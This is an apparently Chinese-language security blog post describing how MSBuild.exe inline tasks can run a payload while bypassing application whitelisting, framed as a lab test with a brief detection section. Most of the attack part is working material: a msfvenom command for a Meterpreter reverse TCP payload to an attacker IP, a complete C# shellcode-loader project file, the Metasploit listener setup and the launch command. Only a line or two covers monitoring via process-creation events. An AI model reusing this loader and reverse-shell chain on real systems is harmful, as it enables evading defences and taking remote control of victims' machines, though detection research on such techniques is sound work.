監控白名單Msbuild.exe執行payload

簡介

MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的軟件構建平臺。它採用XML格式的項目文件,定義了各種平臺的構建要求和配置。

攻擊者可能會使用MSBuild通過受信任的Windows實用程序來代理執行代碼。.NET 4中引入的MSBuild內聯任務功能允許將C#代碼插入到XML項目文件中。內聯任務MSBuild將編譯並執行內聯任務。MSBuild.exe是一個簽名的微軟二進制文件,因此當它以這種方式使用時,它可以執行任意代碼並繞過配置爲允許MSBuild.exe執行的應用白名單防禦。

測試案例

MSBuild 是 Microsoft Build Engine 的縮寫,代表 Microsoft 和 Visual Studio的新的生成平臺。MSBuild在如何處理和生成軟件方面是完全透明的,使開發人員能夠在未安裝Visual Studio的生成實驗室環境中組織和生成產品。

MSBuild 引入了一種新的基於 XML的項目文件格式,這種格式容易理解、易於擴展並且完全受 Microsoft 支持。MSBuild項目文件的格式使開發人員能夠充分描述哪些項需要生成,以及如何利用不同的平臺和配置生成這些項。

說明:Msbuild.exe所在路徑沒有被系統添加PATH環境變量中,因此,Msbuild命令無法識別。

補充說明:在高版本操作系統中,可以通過配置策略,對進程命令行參數進行記錄。日誌策略開啓方法:本地計算機策略>計算機配置>管理模板>系統>審覈進程創建>在過程創建事件中加入命令行>啓用,同樣也可以在不同版本操作系統中部署sysmon,通過sysmon日誌進行監控。

win7默認位置:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe

檢測日誌

windows 安全日誌(需要自行配置)

測試復現

環境準備

攻擊機:Kali2019

靶機:windows server 2012

測試過程

MSF生成載荷

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp

在這裏插入圖片描述

XML文件

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <!-- This inline task executes shellcode. -->
         <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
         <!-- Save This File And Execute The Above Command -->
         <!-- Author: Casey Smith, Twitter: @subTee -->
         <!-- License: BSD 3-Clause -->
    <Target Name="Hello">
      <ClassExample />
    </Target>
    <UsingTask
      TaskName="ClassExample"
      TaskFactory="CodeTaskFactory"
      AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
      <Task>
      
        <Code Type="Class" Language="cs">
        <![CDATA[
    using System;
    using System.Runtime.InteropServices;
    using Microsoft.Build.Framework;
    using Microsoft.Build.Utilities;
    public class ClassExample :  Task, ITask
    {         
      private static UInt32 MEM_COMMIT = 0x1000;          
      private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
      [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
        UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
      [DllImport("kernel32")]
        private static extern IntPtr CreateThread(            
        UInt32 lpThreadAttributes,
        UInt32 dwStackSize,
        UInt32 lpStartAddress,
        IntPtr param,
        UInt32 dwCreationFlags,
        ref UInt32 lpThreadId           
        );
      [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(           
        IntPtr hHandle,
        UInt32 dwMilliseconds
        );          
      public override bool Execute()
      {
        byte[] shellcode = new byte[] { 
你的payload
		};
          
          UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
      MEM_COMMIT, PAGE_EXECUTE_READWRITE);
          Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
          IntPtr hThread = IntPtr.Zero;
          UInt32 threadId = 0;
          IntPtr pinfo = IntPtr.Zero;
          hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
          WaitForSingleObject(hThread, 0xFFFFFFFF);
          return true;
      } 
    }     
        ]]>
        </Code>
      </Task>
    </UsingTask>
  </Project>

在這裏插入圖片描述

設置監聽

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.126.146
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit

監聽

靶機執行payload

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe file.xml

加載payload

查看反彈會話

反彈會話

日誌分析

日誌留痕

監控思路

無具體檢測規則,可根據進程創建事件4688/1(進程名稱、命令行)進行監控。本監控方法需要自行安裝配置審覈策略/sysmon。

參考推薦

利用msbuild.exe繞過應用程序白名單安全機制的多種姿勢:https://www.freebuf.com/articles/network/197706.html

GreatSCT|MSF|白名單:http://www.secist.com/archives/6082.html

對亮神基於白名單 Msbuild.exe 執行 payload 第一季復現:https://blog.csdn.net/ws13129/article/details/89736941

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章